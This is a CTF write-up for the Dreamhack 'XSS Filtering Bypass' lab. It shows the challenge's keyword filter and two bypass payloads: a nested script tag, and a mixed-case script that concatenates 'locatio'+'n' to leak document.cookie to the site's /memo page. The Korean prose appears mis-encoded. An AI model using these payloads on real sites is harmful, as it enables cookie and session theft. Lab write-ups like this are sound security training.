CTF, War game

[Dreamhack] Level 1: XSS Filtering Bypass

mnzy๐ŸŒฑ 2024. 3. 20. 18:20

1. ๋ฌธ์ œ

https://dreamhack.io/wargame/challenges/433

 

XSS Filtering Bypass

Description Exercise: XSS Filtering Bypass์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค. ๋ฌธ์ œ ์ˆ˜์ • ๋‚ด์—ญ 2023.08.04 Dockerfile ์ œ๊ณต

dreamhack.io

 

2. ํ•ด๊ฒฐ๊ณผ์ •

์ „๋ฐ˜์ ์ธ ์ฝ”๋“œ๋Š” ๋“œ๋ฆผํ•ต ๋‚ด์˜ xss ๋ฌธ์ œ์˜ ์ฝ”๋“œ์™€ ๋น„์Šทํ•˜๋‹ค. 

ํ•˜์ง€๋งŒ ํ•ด๋‹น ์ฝ”๋“œ๋Š” ๋ฌธ์ž์—ด์„ ๊ณต๋ฐฑ์œผ๋กœ ํ•„ํ„ฐ๋งํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค.

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

 

script๋ฅผ ๋ณด๋ฉด ํ•„ํ„ฐ๋งํ•œ๋‹ค. 

onerror ๋“ฑ์˜ ํƒœ๊ทธ๋„ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•  ๊ฒƒ์ด๋‹ค. 

 

vuln ํŽ˜์ด์ง€์—์„œ ์ž‘๋™์ด ๋˜๋Š” ํƒœ๊ทธ๋ฅผ ํ™•์ธํ•ด๋ณด์•˜๋‹ค. 

<scrscriptipt>alert(1)</scrscriptipt>

 

์œ„์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์ž‘๋™์ด ๋˜์—ˆ๋‹ค. 

๋”ฐ๋ผ์„œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ๋Š” ์œ„์™€ ๊ฐ™์ด ์šฐํšŒํ•˜๋ฉด ๋œ๋‹ค. 

 

ํ•˜์ง€๋งŒ vuln ํŽ˜์ด์ง€๋ฅผ ์ด์šฉํ•ด ๋ฉ”๋ชจ ํŽ˜์ด์ง€์— ์ฟ ํ‚ค๊ฐ’์„ ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” 

location.href ๊ฐ€ ํ•„์š”ํ•œ๋ฐ, location์—๋„ on์ด ํฌํ•จ๋˜์–ด ์žˆ๋‹ค. 

 

location ์†์„ฑ์€ document ์†์„ฑ์œผ๋กœ๋ถ€ํ„ฐ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— document['lcatio'+'n']์œผ๋กœ ํ•ด๋‹น ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•ด์ค„ ๊ฒƒ์ด๋‹ค. 

<ScRiPt>document['locatio'+'n'].href = "/memo?memo="+document.cookie</ScRiPt>

 

์„ฑ๊ณต